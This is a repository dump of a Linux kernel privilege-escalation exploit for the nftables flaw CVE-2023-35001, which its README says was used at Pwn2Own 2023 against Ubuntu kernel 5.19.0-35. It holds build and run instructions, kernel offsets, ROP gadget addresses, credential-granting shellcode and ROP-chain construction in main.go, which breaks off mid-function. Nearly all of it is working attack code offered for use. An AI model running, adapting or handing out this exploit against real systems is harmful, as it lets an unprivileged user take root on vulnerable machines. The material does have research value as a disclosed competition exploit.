[
  {
    "path": "Makefile",
    "content": "CC = gcc\nCFLAGS = -Wall -Wextra -Werror\nCFLAGS += -std=c99\nCFLAGS += -Os -g0\nCFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -D_POSIX_C_SOURCE=200809L\nLDFLAGS = -static -s\nLDLIBS = -lc\n\nall: lpe.zip\n\nlpe.zip: exploit wrapper\n\tzip $@ $^\n\nexploit: main.go\n\tgo build\n\nwrapper: src/wrapper.c\n\t$(CC) $(CFLAGS) $^ -o $@\n\nclean:\n\t$(RM) exploit wrapper\n\t$(RM) src/*.o\n\t$(RM) lpe.zip\n\n.PHONY: all clean run\n"
  },
  {
    "path": "README.md",
    "content": "# nftables oob read/write exploit (CVE-2023-35001)\n\nExploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploit supports\nthe kernel version available at the beginning of the event (5.19.0-35).\n\n## Requirements\n\n* C compiler\n* Go compiler\n\n## Usage\n\n```\n# Build\n$ make\n\n# Run\n$ ./exploit\n```\n\nThis produces a `lpe.zip` file which can be unpacked on the target. There are\ntwo binaries in the archive:\n\n- **wrapper**: A C binary used to enter namespaces\n- **exploit**: The actual exploit\n\nThe `exploit` file is the program that should be executed. It uses the `wrapper`\nprogram to call itself and enter a new namespace.\n"
  },
  {
    "path": "go.mod",
    "content": "module exploit\n\ngo 1.15\n\nrequire (\n\tgithub.com/florianl/go-nflog v1.1.0 // indirect\n\tgithub.com/florianl/go-nflog/v2 v2.0.1\n\tgithub.com/google/nftables v0.0.0-20220611213346-a346d51f53b3\n\tgithub.com/mdlayher/netlink v1.4.2\n\tgithub.com/siadat/ipc v1.0.0 // indirect\n\tgithub.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc\n\tgolang.org/x/sys v0.0.0-20211205182925-97ca703d548d\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=\ngithub.com/BurntSushi/toml v0.4.1 h1:GaI7EiDXDRfa8VshkTj7Fym7ha+y8/XxIgD2okUIjLw=\ngithub.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=\ngithub.com/cilium/ebpf v0.5.0/go.mod h1:4tRaxcgiL706VnOzHOdBlY8IEAIdxINsQBcU4xJJXRs=\ngithub.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/florianl/go-nflog v1.1.0 h1:7ujkntClswr/TpVbCPLEJOiMzJiRSl2vmBH/ByGA7gA=\ngithub.com/florianl/go-nflog v1.1.0/go.mod h1:ZIVMgm8TkUDJFvDFoaVqlGgGsEYKfSedN5EPIZomtEI=\ngithub.com/florianl/go-nflog/v2 v2.0.1 h1:8csWIqFQ2vDaZJkxezY3dXDB7bEFg0VRFsYd2Bzj3II=\ngithub.com/florianl/go-nflog/v2 v2.0.1/go.mod h1:g+SOgM/SuePn9bvS/eo3Ild7J71nSb29OzbxR+7cln0=\ngithub.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=\ngithub.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/nftables v0.0.0-20220611213346-a346d51f53b3 h1:Fq+jS60rvgwyi9zFyGUXwsdNViYcw1tr3CA8ZoYQVEk=\ngithub.com/google/nftables v0.0.0-20220611213346-a346d51f53b3/go.mod h1:b97ulCCFipUC+kSin+zygkvUVpx0vyIAwxXFdY3PlNc=\ngithub.com/josharian/native v0.0.0-20200817173448-b6b71def0850 h1:uhL5Gw7BINiiPAo24A2sxkcDI0Jt/sqp1v5xQCniEFA=\ngithub.com/josharian/native v0.0.0-20200817173448-b6b71def0850/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20201216134343-bde56ed16391/go.mod h1:cR77jAZG3Y3bsb8hF6fHJbFoyFukLFOkQ98S0pQz3xw=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20201220180245-69540ac93943/go.mod h1:z4c53zj6Eex712ROyh8WI0ihysb5j2ROyV42iNogmAs=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20210122163228-8d122574c736/go.mod h1:ZXpIyOK59ZnN7J0BV99cZUPmsqDRZ3eq5X+st7u/oSA=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20210212075122-66c871082f2b/go.mod h1:8w9Rh8m+aHZIG69YPGGem1i5VzoyRC8nw2kA8B+ik5U=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20210525051524-4cc836578190/go.mod h1:NmKSdU4VGSiv1bMsdqNALI4RSvvjtz65tTMCnD05qLo=\ngithub.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786/go.mod h1:v4hqbTdfQngbVSZJVWUhGE/lbTFf9jb+ygmNUDQMuOs=\ngithub.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/mdlayher/ethtool v0.0.0-20210210192532-2b88debcdd43/go.mod h1:+t7E0lkKfbBsebllff1xdTmyJt8lH37niI6kwFk9OTo=\ngithub.com/mdlayher/ethtool v0.0.0-20211028163843-288d040e9d60/go.mod h1:aYbhishWc4Ai3I2U4Gaa2n3kHWSwzme6EsG/46HRQbE=\ngithub.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=\ngithub.com/mdlayher/netlink v0.0.0-20181210160939-e069752bc835/go.mod h1:a3TlQHkJH2m32RF224Z7LhD5N4mpyR8eUbCoYHywrwg=\ngithub.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=\ngithub.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M=\ngithub.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY=\ngithub.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o=\ngithub.com/mdlayher/netlink v1.2.0/go.mod h1:kwVW1io0AZy9A1E2YYgaD4Cj+C+GPkU6klXCMzIJ9p8=\ngithub.com/mdlayher/netlink v1.2.1/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=\ngithub.com/mdlayher/netlink v1.2.2-0.20210123213345-5cc92139ae3e/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=\ngithub.com/mdlayher/netlink v1.3.0/go.mod h1:xK/BssKuwcRXHrtN04UBkwQ6dY9VviGGuriDdoPSWys=\ngithub.com/mdlayher/netlink v1.4.0/go.mod h1:dRJi5IABcZpBD2A3D0Mv/AiX8I9uDEu5oGkAVrekmf8=\ngithub.com/mdlayher/netlink v1.4.1/go.mod h1:e4/KuJ+s8UhfUpO9z00/fDZZmhSrs+oxyqAS9cNgn6Q=\ngithub.com/mdlayher/netlink v1.4.2 h1:3sbnJWe/LETovA7yRZIX3f9McVOWV3OySH6iIBxiFfI=\ngithub.com/mdlayher/netlink v1.4.2/go.mod h1:13VaingaArGUTUxFLf/iEovKxXji32JAtF858jZYEug=\ngithub.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00/go.mod h1:GAFlyu4/XV68LkQKYzKhIo/WW7j3Zi0YRAz/BOoanUc=\ngithub.com/mdlayher/socket v0.0.0-20211007213009-516dcbdf0267/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=\ngithub.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb h1:2dC7L10LmTqlyMVzFJ00qM25lqESg9Z4u3GuEXN5iHY=\ngithub.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=\ngithub.com/siadat/ipc v1.0.0 h1:XYELasVEvDfiPuglKzrXiXKfSTXcnwk2aIN4UCK5gMU=\ngithub.com/siadat/ipc v1.0.0/go.mod h1:RCOzuAW5gAm5d3u+ykaWAcPx/Wkp/mv/SQq7H95C2xs=\ngithub.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc h1:R83G5ikgLMxrBvLh22JhdfI8K6YXEPHx5P03Uu3DRs4=\ngithub.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc/go.mod h1:ZjcWmFBXmLKZu9Nxj3WKYEafiSqer2rnvPr0en9UNpI=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=\ngithub.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=\ngolang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=\ngolang.org/x/net v0.0.0-20181207154023-610586996380/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20191007182048-72f939374954/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20201216054612-986b41b23924/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20211020060615-d418f374d309/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20211201190559-0a0e4e1bb54c/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.0.0-20211209124913-491a49abca63 h1:iocB37TsdFuN6IBRZ+ry36wrkoV51/tl5vOWqkcPGvY=\ngolang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sys v0.0.0-20181210030007-2a47403f2ae5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190411185658-b44545bcd369/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201118182958-a01c418693c7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201218084310-7d0127a74742/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210123111255-9b0068b26619/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210216163648-f7da38b97c65/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20211205182925-97ca703d548d h1:FjkYO/PPp4Wi0EAUOVLxePm7qVW4r4ctbWpURyuOD0E=\ngolang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=\ngolang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo=\ngolang.org/x/tools v0.1.8 h1:P1HhGGuLW4aAclzjtmJdf0mJOjVUZUzOTqkAkWL+l6w=\ngolang.org/x/tools v0.1.8/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\nhonnef.co/go/tools v0.2.1/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=\nhonnef.co/go/tools v0.2.2 h1:MNh1AVMyVX23VUHE2O27jm6lNj3vjO5DexS4A1xvnzk=\nhonnef.co/go/tools v0.2.2/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"C\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/google/nftables\"\n\t\"golang.org/x/sys/unix\"\n)\nimport (\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"syscall\"\n\t\"unsafe\"\n\n\t\"github.com/google/nftables/expr\"\n\t\"github.com/mdlayher/netlink\"\n\t\"github.com/vishvananda/netns\"\n)\n\n/// Offsets for exploits\ntype exploitConfig struct {\n\t// Offset from meta_set ops to nf_tables.ko base\n\tmetaSetOpsOff uint64\n\t// Offset from nf_tables.ko base to byteorder_ops\n\tbyteorderOpsOff uint64\n\t// Offset from nf_tables.ko base to payload_ops\n\tpayloadOpsOff uint64\n\t// Offset from nf_tables.ko base to immediate_ops\n\timmOpsOff uint64\n\t/// Offset from the regs array on the stack in nft_chain and\n\t/// the return address to ip_local_deliver\n\tipLocalDeliverRegOff uint64\n\t// ip_local_deliver return from nft_do_chain\n\tipLocalDeliverReturn uint64\n\n\t// Offset to '__x64_sys_modify_ldt' function in the kernel\n\tx64_sys_modify_ldt_addr uint64\n\t// Offset to 'do_task_dead' function in the kernel\n\tdo_task_dead_addr uint64\n\t// Offset to 'set_memory_rw' function in the kernel\n\tset_memory_rw_addr uint64\n\t// Offset to 'prepare_kernel_cred' function in the kernel\n\tprepare_kernel_cred uint64\n\t// Offset to 'commit_creds' function in the kernel\n\tcommit_creds uint64\n\t// Offset to '_copy_from_user' function in the kernel\n\tcopy_from_user_priv uint64\n\t// Offset to 'pop rdi; ret' gadget in the kernel\n\tpop_rdi uint64\n\t// Offset to 'pop rsi; ret' gadget in the kernel\n\tpop_rsi uint64\n\t// Offset to 'pop rdx; ret' gadget in the kernel\n\tpop_rdx uint64\n}\n\nvar currentConfig *exploitConfig\n\nfunc CToGoString(b []byte) string {\n\ti := bytes.IndexByte(b, 0)\n\tif i < 0 {\n\t\ti = len(b)\n\t}\n\treturn string(b[:i])\n}\n\nvar cpuCount int = 0\nvar shellcode []byte = []byte{0x48, 0x31, 0xff, //  xor    rdi,rdi\n\t0xe8, 0x00, 0x00, 0x00, 0x00, // call   prepare_kernel_cred - 0x8\n\t0x48, 0x89, 0xc7, // mov    rdi,rax\n\t0xe8, 0x00, 0x00, 0x00, 0x00, // call   commit_creds - 0x10\n\t0xc3, // ret\n}\n\nfunc init() {\n\tconfigs := make(map[string]exploitConfig)\n\n\t// Ubuntu kinetic kudu\n\tconfigs[\"5.19.0-35-generic\"] = exploitConfig{\n\t\tmetaSetOpsOff:           0x2fde0,\n\t\tbyteorderOpsOff:         0x2f7a0,\n\t\tpayloadOpsOff:           0x2f9e0,\n\t\timmOpsOff:               0x2f1e0,\n\t\tx64_sys_modify_ldt_addr: 0x48900,\n\t\tdo_task_dead_addr:       0x118150,\n\t\tset_memory_rw_addr:      0xb3680,\n\t\tprepare_kernel_cred:     0x101ea0,\n\t\tcommit_creds:            0x101bd0,\n\t\tcopy_from_user_priv:     0x6edfe0,\n\t\tipLocalDeliverRegOff:    0x278,\n\t\tipLocalDeliverReturn:    0xcd9793,\n\t\tpop_rdi:                 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret\n\t\tpop_rsi:                 0xa7c3e,  // 0xffffffff810a7c3e : pop rsi ; ret\n\t\tpop_rdx:                 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret\n\t}\n\n\tu := unix.Utsname{}\n\tunix.Uname(&u)\n\n\tif cfg, ok := configs[CToGoString((u.Release[:]))]; ok {\n\t\tcurrentConfig = &cfg\n\t\tfmt.Printf(\"[+] Using config: %v\\n\", CToGoString(u.Release[:]))\n\t} else {\n\t\tpanic(fmt.Errorf(\"[!] Kernel version '%v' is unsupported\", string(u.Release[:])))\n\t}\n}\n\nfunc packet_leak_path() {\n\t// Now send a packet\n\ttx, err := net.DialUDP(\"udp4\", nil, &net.UDPAddr{\n\t\tIP:   net.IPv4(127, 0, 0, 1),\n\t\tPort: 1337,\n\t})\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttx.Write([]byte{1, 2, 3, 4})\n\ttx.Close()\n}\n\nfunc packet_ropchain_path(ropchain []byte) {\n\ttx, err := net.DialUDP(\"udp4\", nil, &net.UDPAddr{\n\t\tIP:   net.IPv4(127, 0, 0, 1),\n\t\tPort: 1337,\n\t})\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttx.Write(ropchain)\n\ttx.Close()\n}\n\nfunc craft_rop_chain(kernelBase uint64) []byte {\n\tpayload := new(bytes.Buffer)\n\n\tp64 := func(val uint64) {\n\t\t_ = binary.Write(payload, binary.LittleEndian, val)\n\t}\n\n\t// set_memory_rw(sys_modify_ldt, 2)\n\tp64(kernelBase + currentConfig.pop_rdi)\n\tp64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000)))\n\tp64(kernelBase + currentConfig.pop_rsi)\n\tp64(2)\n\tp64(kernelBase + currentConfig.set_memory_rw_addr)\n\n\t// Patch shellcode\n\tprepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8\n\tshellcode[4] = uint8(prepare_kernel_cred_shellcode)\n\tshellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8)\n\tshellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16)\n\tshellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24)\n\n\tcommit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 